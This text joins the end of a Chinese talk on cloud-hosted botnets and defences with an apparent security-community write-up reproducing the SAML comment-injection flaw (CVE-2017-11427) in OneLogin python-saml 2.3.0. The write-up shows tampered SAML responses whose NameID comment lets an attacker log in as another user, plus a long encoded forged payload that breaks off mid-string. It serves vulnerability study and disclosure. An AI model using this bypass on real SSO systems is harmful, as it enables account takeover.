资源的销毁会导致取证困难。传统的IPC，物理机是不能销毁的，但在云服务里用户可以彻底撤销云主机。现在公安部也在制定关于云端取证的标准和规定，目的也是为了让运营商可以保留足够的取证的证据。另外，事后取证、溯源和传统的方式不同，也增强了查杀和防御的难度。
3、 云服务商信任度较高
云服务商的域名通常被防火墙或者各种安全策略标记为可信任。如果把恶意软件，或者是控制端放在云上的话，很有可能被对方的防火墙给放掉。这也是云服务商面临的一个新的问题。像木马的控制，他们会利用云服务商的主机来制作、生成和分发这种木马。当然，对于云服务商来说，我们也会对我们的服务进行样本扫描和检测，来发现这种大量传播的恶意木马和脚本。
4、 云服务的漏洞造成资源获取简单
云主机缺乏可靠的登录机制和安全防护，导致黑客容易获取到资源。用户从传统的服务器迁移到云上来，因为各个云的安全水平是不一样的，它能提供给用户的安全基线也是不一样的。所以如果用户不了解云防护或者云安全的边界，可能会采用弱口令等方式登录，造成登录方式脆弱。另外，用户还可能暴露一些高危端口。那么，黑客会利用这种漏洞和错误的配置来批量入侵用户的主机。所以云服务商和用户必须共同努力提升自己服务的安全基线，来增强黑客获取资源的难度。
5、 云服务自身运营活动缺陷被薅羊毛
云资源的获取可以通过漏洞的方式来非法获取，还有一种是云服务自身的运营活动导致被薅羊毛。比如说我们金山云去年做了一个每月9.9元的大米主机活动，这个活动毫无意外地会招来羊毛党的觊觎。
当天的活动，我们投放的云主机大概有95%被羊毛党薅走，如被羊毛党用来进行DDoS攻击、刷票、刷别人的主机，甚至还有挂机的。我们的安全部门对这个活动进行了详查，发现注册了金山云渠道的电话号码大部分都在打码平台上。然后我们和威胁猎人合作，通过黑卡检测，在注册环节进行严格实名制的检查，云主机得到了正确的防护。这个事件其实就是云服务器自身的运营缺陷给僵尸网络的持有者提供了便利。
面对新的问题，云服务商可以做些什么？
我总结了两种应对方式：一种是被动的方式，一种是主动的方式。
1、 云服务商的对策——被动方式
首先是加强黑客获取资源的难度。我们会在云主机上做多重防御，像对服务器的安全及时做好补丁机制，加强云主机的安全基线。当然并不是说云主机加强安全基线就完全避免被黑客抓机，但能够提升被抓机的难度和门槛。
其次是注册严格实名制，防止恶意注册和薅羊毛。就是说我们会通过手机号、身份证、银行卡和黑卡的变化检测等来提升实名制验证，严格把控我们注册的用户都是真实的。
最后是增强我们的感知能力。比如DNS检测与全流量检测技术，并结合我们的威胁情报发现潜在木马通信。通过这些方式来综合打造一个被动的防御。
2、 云服务商的对策——主动方式
我们在互联网上部署了蜜罐，主要监控各种木马家族。这些蜜罐通过多区域，国内跨省跨地区，国际上跨国进行部署，可以接收攻击指令，确认攻击路线。如可以在DDoS攻击发起前几分钟之内就能够发现。DDoS从下发指令准备到攻击也是需要一定的时间的。因此，主动的探测对于这种攻击网络还是很有效的。
总结来说，虽然DDoS的攻击方式是一种古老的攻击方式，但是在云的时代到来的时候，我们发现攻击者也在不断的拥抱新的技术，新的变化，并利用云资源获取的便利性，甚至是匿名性，这些都是云时代僵尸网络的新的特点。所以，在新的时代，从运营商、用户到政府监管部门，需要共同努力来提高自身服务的安全基线，才能做好防御。我今天的分享就到这里，谢谢大家。 | 社区文章 |
# 前言
近日，笔者看到国外安全组织Duo Labs公布了一个比较有意思的[漏洞](https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations)，该漏洞影响了大部分基于SAML的SSO系统的实现，出于好奇进行了如下分析和实践，遂成此文。水平有限，不当之处敬请指正。
# 分析
## 什么是SAML
SAML全称Security Assertion Markup
Language，顾名思义“安全声明标记语言”，它是一个为应用程序提供身份认证和授权的协议，通常应用于单点登录(SSO)系统。
Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:
A set of XML-based protocol messages
A set of protocol message bindings
A set of profiles (utilizing all of the above)
SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法，相当于“一次认证，处处访问”。
SAML包含以下几个概念：
* Identity Provider (IdP) - 身份认证提供者 - 一个提供了用户身份识别和认证的软件或者服务，如：检查用户名和密码，校验用户状态，双因素认证等
* Serivce Provider (SP) - 服务提供者 - 用户需要获取访问权限的应用系统
* SAML Assertion - SAML声明 - 一个标识了用户身份和其他相关属性的消息
## SAML是如何工作的
SAML的工作模式其实可以简化如下：
* 用户A想要访问SP的资源
* 用户A先访问IdP，完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
* 用户A带着从IdP获取到的SAML assertion去访问SP，并被授权访问相应的数据资源
SAML分为2种模式：
* IdP-Initiated
* SP-Initiated
二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP（通常是一个统一认证的登陆页）完成身份认证后带着IdP生成的SAML
assertion去访问SP并取得访问权限，这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML
request（作用是告诉IdP该用户想要登陆该SP，但是没有SAML assetion，请帮忙获取一个SAML
assertion并redirect回到该SP），在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限，这就是SP-Inititated。
详细的解释可以参考[这篇文章](https://duo.com/blog/the-beer-drinkers-guide-to-saml)。
## 漏洞是怎么产生的
回到我们的正题了，这到底是个什么样的漏洞？又是如何产生的呢？
在上面SAML的基本介绍里，我们提到过基于SAML的SSO系统是通过SAML
assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理，我们来简化一下这个流程（实际上可能会比这个过程复杂）：
* 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
* SP校验这个转发过来的SAML Response的签名
* 如果签名有效，SAML Response中的身份识别码（如NameID）将会被提取出来用以判断什么用户被认证通过了，从而授予相应的访问权限
一个比较简单但是典型的SAML Response的例子如下：
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>[email protected]</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="xml-c14n11"/>
<Reference URI="#_id1234"/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>
从上面这个例子中我们可以看到几个重点部分， **NameID** , **CanonicalizationMethod** 以及
**SignatureValue** ，他们分别表示身份识别码，标准化签名方法，校验签名。
SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML
Response中SignatureValue作对比，如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限；反之失败并拒绝用户请求。
通常的CanonicalizationMethod是<http://www.w3.org/2001/10/xml-exc-c14n#>,
而该方法在签名之前会先解析XML中节点且忽略注释部分，如
<NameID>test@example<!--This is comment -->.com</NameID>
节点NameID中的注释部分`<!--This is comment
-->`会被忽略，其获取到NameID的值是`[email protected]`而不是`test@example<!--This is comment
-->.com`。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue，这也就为后面的漏洞埋下了伏笔。
而另一方面，SP在签名校验成功后提取SAML
Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的`defusedxml.lxml`库在解析`<NameID>test@example<!
--This is comment
-->.com</NameID>`中的NameID时就只会返回`test@example`。如此一来，如果SP的Python-SAML实现中使用的是`defusedxml.lxml`库，那么下面这两个SAML
Response就会产生不同的NameID和相同的SignatureValue。换句话说，我们在原始的SAML Response中的NameID
`[email protected]`中添加了注释，这时SP依旧认为该SAML
Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户`[email protected]`的账户，从而造成了越权用户访问的问题。
_原始的SAML Response:_
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>[email protected]</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="xml-c14n11"/>
<Reference URI="#_id1234"/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>
_篡改后的SAML Response:_
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>[email protected]<!--This is comment-->.evil.com</NameID>
</Subject>
</Assertion>
<Signature>
<SignedInfo>
<CanonicalizationMethod Algorithm="xml-c14n11"/>
<Reference URI="#_id1234"/>
</SignedInfo>
<SignatureValue>
some base64 data that represents the signature of the assertion
</SignatureValue>
</Signature>
</SAMLResponse>
那么实际情况下，基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢？漏洞的发现者测试后发现确实存在，下面这些实现都存在这类问题：
* OneLogin - python-saml - CVE-2017-11427
* OneLogin - ruby-saml - CVE-2017-11428
* Clever - saml2-js - CVE-2017-11429
* OmniAuth-SAML - CVE-2017-11430
* Shibboleth - CVE-2018-0489
* Duo Network Gateway - CVE-2018-7340
# 实践
原理分析完了，接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。
首先，下载受该漏洞影响的[OneLogin's SAML Python Toolkit
v2.3.0](https://github.com/onelogin/python-saml/archive/v2.3.0.zip) (注:
[2.4.0](https://github.com/onelogin/python-saml/commit/fad881b4432febea69d70691dfed51c93f0de10f)版本已经修复此漏洞了)。
接着，按照[此文章](https://developers.onelogin.com/saml/python)搭建一个基于OneLogin
SAML单点登录的Demo系统(本文以demo-flask为例)。
漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户：
* 测试用户A：[email protected]
* 测试用户B：[email protected]
我们的测试目的是，能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。
接下来，我们开始尝试利用这个漏洞。
第一步，登陆并成功认证测试用户B，
我们获取到如下的SAML Response：
经过简单的分析得知，该SAML Response是经过base64encode+urlencode的得到的，解码后如下：
<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>hvRgEUe31bN8ask8BaoAWe8f+9c=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>P2+AXQqqsPePdZZ9FnFIbzvTAuRSdYGyfuSmv6jKeZFsu1JGMBCPaU5SaiwSb2OWrvrLN+9KDLAvY/TOJF40j6wx0WSrs+Gs/PEGhUY5BF6NvTTOwKJtCAk7drMMrK3gaMcRJUiLBMjllCO+oYuuQ7EAX0+fqbQYpR/nc35p+TxNC+lHwq57TOfPNtqI/daHlv2IpeeNtOwnq4A2vpo4TBFB3kqTgJj8zbXN9+exGT6fZVXLEzdzB2JNX/TbGFnQIW3J1ocJQvrQwgJG8OVuLNHsm1zrsKKnNT+HAy173h71kZNxxJhEzYTEKJG9NAsdNX3ZdC0kgk+9tNEWore0RQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIEDjCCAvagAwIBAgIURSF7r5502dfTNIYjZbCbuQzoTZAwDQYJKoZIhvcNAQEFBQAwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTgwHhcNMTgwMzAxMDc0NzA3WhcNMjMwMzAxMDc0NzA3WjBVMQswCQYDVQQGEwJVUzENMAsGA1UECgwEQ05OVDEVMBMGA1UECwwMT25lTG9naW4gSWRQMSAwHgYDVQQDDBdPbmVMb2dpbiBBY2NvdW50IDEyMzA5ODCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANVH88hpn4umxEHuaTOtCAarNCYr/Vnv1D953mlwQ/y1NqLcC0vxikzH7G6JoTawzqtrtheln11AoxmkzqhTvwxXpnbbkHUz/BxRZFaWI1OcT2i490n46HekHPEm9QrkYgGyLKYgnsFu/gvl8TGeaav+jSecGgfEMVcxwOs1fIrJouW/UNheehjPpEB+zYMBf7bqabAdV86R6mFpDq3CJP86iuTNK1w1VnZB4v6QTQkqGJ8anVSqS9z200BBjjvBurylTPjefJdO1V8CcC3NS7sOW8GQO0jHA4+GH2EPP75kYV632GgzD6kPt8BiBEs73mcjml+lH2VukjBLbKhprVsCAwEAAaOB1TCB0jAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSccxTeTU6gqnuuUV+6k/CLM71XrjCBkgYDVR0jBIGKMIGHgBSccxTeTU6gqnuuUV+6k/CLM71XrqFZpFcwVTELMAkGA1UEBhMCVVMxDTALBgNVBAoMBENOTlQxFTATBgNVBAsMDE9uZUxvZ2luIElkUDEgMB4GA1UEAwwXT25lTG9naW4gQWNjb3VudCAxMjMwOTiCFEUhe6+edNnX0zSGI2Wwm7kM6E2QMA4GA1UdDwEB/wQEAwIHgDANBgkqhkiG9w0BAQUFAAOCAQEAKnId82nIkRSoULV8w8vPtas5TkSRhFN0+A1+7hepQGITTzaRansCLJOgAzj2jeq0YgeeIO/TUKBN3v4yEr8ir50TDJO427XZaBz8BeKwyKBbP6oPRNIgSyvUABh57roX+JyMx2yfFi667QsJX/N5Ug0SslajfndIV7lCQwqoES2Gw87K7rtkXoLn4gZgtsgsoA4HU0ktG2BsrxMV0goHxbJPPWsqOxhhNHVtEwn3dG2y6WxFrdA0RYRFMttYKP08VFCf+8tdLIrX6yr0ZnYzRElb6y81mdmJaTywehvFQVwb+5L8enhPd5eBqfzDwdTdGm98Qyah9ScV5nlUy5pJLA==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2018-03-02T16:11:19Z" Recipient="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2018-03-02T16:05:19Z" NotOnOrAfter="2018-03-02T16:11:19Z"><saml:AudienceRestriction><saml:Audience>http://180.76.234.24/metadata/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-03-02T16:08:18Z" SessionNotOnOrAfter="2018-03-03T16:08:19Z" SessionIndex="_d6e40850-0061-0136-d60e-06da7126ae26"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">test2</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Test</saml:AttributeValue></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="PersonImmutableID"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string"/></saml:Attribute><saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"><saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">[email protected]</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
第二步，将NameID和Attribute中的用户B的邮箱`[email protected]`改成`[email protected]<!---->.cnnt.com`，并重新base64encode+urlencode后得到如下的SAML
Response：
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJSNmZmNDU5YjBiYjM0NTJkNDk3MDVmMWRhOTNkODQzOTQyZDQ1YTU0YiIgVmVyc2lvbj0iMi4wIiBJc3N1ZUluc3RhbnQ9IjIwMTgtMDMtMDJUMTY6MDg6MTlaIiBEZXN0aW5hdGlvbj0iaHR0cDovLzE4MC43Ni4yMzQuMjQvP2FjcyIgSW5SZXNwb25zZVRvPSJPTkVMT0dJTl82MWY0YWM1ZDVlOTZhMWNiZDVhZDE4YzI0NzU0ODU0OGUwM2QzZmExIj48c2FtbDpJc3N1ZXI%2BaHR0cHM6Ly9hcHAub25lbG9naW4uY29tL3NhbWwvbWV0YWRhdGEvNzU4MzIxPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgeG1sbnM6eHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBWZXJzaW9uPSIyLjAiIElEPSJwZng3NzhkNzg3Yy05NTZiLWQ3MzAtNDNiYS03ZjJmNGUwYjVhM2IiIElzc3VlSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOVoiPjxzYW1sOklzc3Vlcj5odHRwczovL2FwcC5vbmVsb2dpbi5jb20vc2FtbC9tZXRhZGF0YS83NTgzMjE8L3NhbWw6SXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPGRzOlNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIvPjxkczpSZWZlcmVuY2UgVVJJPSIjcGZ4Nzc4ZDc4N2MtOTU2Yi1kNzMwLTQzYmEtN2YyZjRlMGI1YTNiIj48ZHM6VHJhbnNmb3Jtcz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiLz48ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjc2hhMSIvPjxkczpEaWdlc3RWYWx1ZT5odlJnRVVlMzFiTjhhc2s4QmFvQVdlOGYrOWM9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlAyK0FYUXFxc1BlUGRaWjlGbkZJYnp2VEF1UlNkWUd5ZnVTbXY2aktlWkZzdTFKR01CQ1BhVTVTYWl3U2IyT1dydnJMTis5S0RMQXZZL1RPSkY0MGo2d3gwV1NycytHcy9QRUdoVVk1QkY2TnZUVE93S0p0Q0FrN2RyTU1ySzNnYU1jUkpVaUxCTWpsbENPK29ZdXVRN0VBWDArZnFiUVlwUi9uYzM1cCtUeE5DK2xId3E1N1RPZlBOdHFJL2RhSGx2MklwZWVOdE93bnE0QTJ2cG80VEJGQjNrcVRnSmo4emJYTjkrZXhHVDZmWlZYTEV6ZHpCMkpOWC9UYkdGblFJVzNKMW9jSlF2clF3Z0pHOE9WdUxOSHNtMXpyc0tLbk5UK0hBeTE3M2g3MWtaTnh4SmhFellURUtKRzlOQXNkTlgzWmRDMGtnays5dE5FV29yZTBSUT09PC9kczpTaWduYXR1cmVWYWx1ZT48ZHM6S2V5SW5mbz48ZHM6WDUwOURhdGE%2BPGRzOlg1MDlDZXJ0aWZpY2F0ZT5NSUlFRGpDQ0F2YWdBd0lCQWdJVVJTRjdyNTUwMmRmVE5JWWpaYkNidVF6b1RaQXdEUVlKS29aSWh2Y05BUUVGQlFBd1ZURUxNQWtHQTFVRUJoTUNWVk14RFRBTEJnTlZCQW9NQkVOT1RsUXhGVEFUQmdOVkJBc01ERTl1WlV4dloybHVJRWxrVURFZ01CNEdBMVVFQXd3WFQyNWxURzluYVc0Z1FXTmpiM1Z1ZENBeE1qTXdPVGd3SGhjTk1UZ3dNekF4TURjME56QTNXaGNOTWpNd016QXhNRGMwTnpBM1dqQlZNUXN3Q1FZRFZRUUdFd0pWVXpFTk1Bc0dBMVVFQ2d3RVEwNU9WREVWTUJNR0ExVUVDd3dNVDI1bFRHOW5hVzRnU1dSUU1TQXdIZ1lEVlFRRERCZFBibVZNYjJkcGJpQkJZMk52ZFc1MElERXlNekE1T0RDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTlZIODhocG40dW14RUh1YVRPdENBYXJOQ1lyL1ZudjFEOTUzbWx3US95MU5xTGNDMHZ4aWt6SDdHNkpvVGF3enF0cnRoZWxuMTFBb3hta3pxaFR2d3hYcG5iYmtIVXovQnhSWkZhV0kxT2NUMmk0OTBuNDZIZWtIUEVtOVFya1lnR3lMS1lnbnNGdS9ndmw4VEdlYWF2K2pTZWNHZ2ZFTVZjeHdPczFmSXJKb3VXL1VOaGVlaGpQcEVCK3pZTUJmN2JxYWJBZFY4NlI2bUZwRHEzQ0pQODZpdVROSzF3MVZuWkI0djZRVFFrcUdKOGFuVlNxUzl6MjAwQkJqanZCdXJ5bFRQamVmSmRPMVY4Q2NDM05TN3NPVzhHUU8wakhBNCtHSDJFUFA3NWtZVjYzMkdnekQ2a1B0OEJpQkVzNzNtY2ptbCtsSDJWdWtqQkxiS2hwclZzQ0F3RUFBYU9CMVRDQjBqQU1CZ05WSFJNQkFmOEVBakFBTUIwR0ExVWREZ1FXQkJTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJqQ0JrZ1lEVlIwakJJR0tNSUdIZ0JTY2N4VGVUVTZncW51dVVWKzZrL0NMTTcxWHJxRlpwRmN3VlRFTE1Ba0dBMVVFQmhNQ1ZWTXhEVEFMQmdOVkJBb01CRU5PVGxReEZUQVRCZ05WQkFzTURFOXVaVXh2WjJsdUlFbGtVREVnTUI0R0ExVUVBd3dYVDI1bFRHOW5hVzRnUVdOamIzVnVkQ0F4TWpNd09UaUNGRVVoZTYrZWROblgwelNHSTJXd203a002RTJRTUE0R0ExVWREd0VCL3dRRUF3SUhnREFOQmdrcWhraUc5dzBCQVFVRkFBT0NBUUVBS25JZDgybklrUlNvVUxWOHc4dlB0YXM1VGtTUmhGTjArQTErN2hlcFFHSVRUemFSYW5zQ0xKT2dBemoyamVxMFlnZWVJTy9UVUtCTjN2NHlFcjhpcjUwVERKTzQyN1haYUJ6OEJlS3d5S0JiUDZvUFJOSWdTeXZVQUJoNTdyb1grSnlNeDJ5ZkZpNjY3UXNKWC9ONVVnMFNzbGFqZm5kSVY3bENRd3FvRVMyR3c4N0s3cnRrWG9MbjRnWmd0c2dzb0E0SFUwa3RHMkJzcnhNVjBnb0h4YkpQUFdzcU94aGhOSFZ0RXduM2RHMnk2V3hGcmRBMFJZUkZNdHRZS1AwOFZGQ2YrOHRkTElyWDZ5cjBabll6UkVsYjZ5ODFtZG1KYVR5d2VodkZRVndiKzVMOGVuaFBkNWVCcWZ6RHdkVGRHbTk4UXlhaDlTY1Y1bmxVeTVwSkxBPT08L2RzOlg1MDlDZXJ0aWZpY2F0ZT48L2RzOlg1MDlEYXRhPjwvZHM6S2V5SW5mbz48L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BdGVzdDFAY25udC5jb208IS0tLS0%2BLmNubnQuY29tPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE4LTAzLTAyVDE2OjExOjE5WiIgUmVjaXBpZW50PSJodHRwOi8vMTgwLjc2LjIzNC4yNC8/YWNzIiBJblJlc3BvbnNlVG89Ik9ORUxPR0lOXzYxZjRhYzVkNWU5NmExY2JkNWFkMThjMjQ3NTQ4NTQ4ZTAzZDNmYTEiLz48L3NhbWw6U3ViamVjdENvbmZpcm1hdGlvbj48L3NhbWw6U3ViamVjdD48c2FtbDpDb25kaXRpb25zIE5vdEJlZm9yZT0iMjAxOC0wMy0wMlQxNjowNToxOVoiIE5vdE9uT3JBZnRlcj0iMjAxOC0wMy0wMlQxNjoxMToxOVoiPjxzYW1sOkF1ZGllbmNlUmVzdHJpY3Rpb24%2BPHNhbWw6QXVkaWVuY2U%2BaHR0cDovLzE4MC43Ni4yMzQuMjQvbWV0YWRhdGEvPC9zYW1sOkF1ZGllbmNlPjwvc2FtbDpBdWRpZW5jZVJlc3RyaWN0aW9uPjwvc2FtbDpDb25kaXRpb25zPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxOC0wMy0wMlQxNjowODoxOFoiIFNlc3Npb25Ob3RPbk9yQWZ0ZXI9IjIwMTgtMDMtMDNUMTY6MDg6MTlaIiBTZXNzaW9uSW5kZXg9Il9kNmU0MDg1MC0wMDYxLTAxMzYtZDYwZS0wNmRhNzEyNmFlMjYiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuTGFzdE5hbWUiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QyPC9zYW1sOkF0dHJpYnV0ZVZhbHVlPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuRmlyc3ROYW1lIj48c2FtbDpBdHRyaWJ1dGVWYWx1ZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLW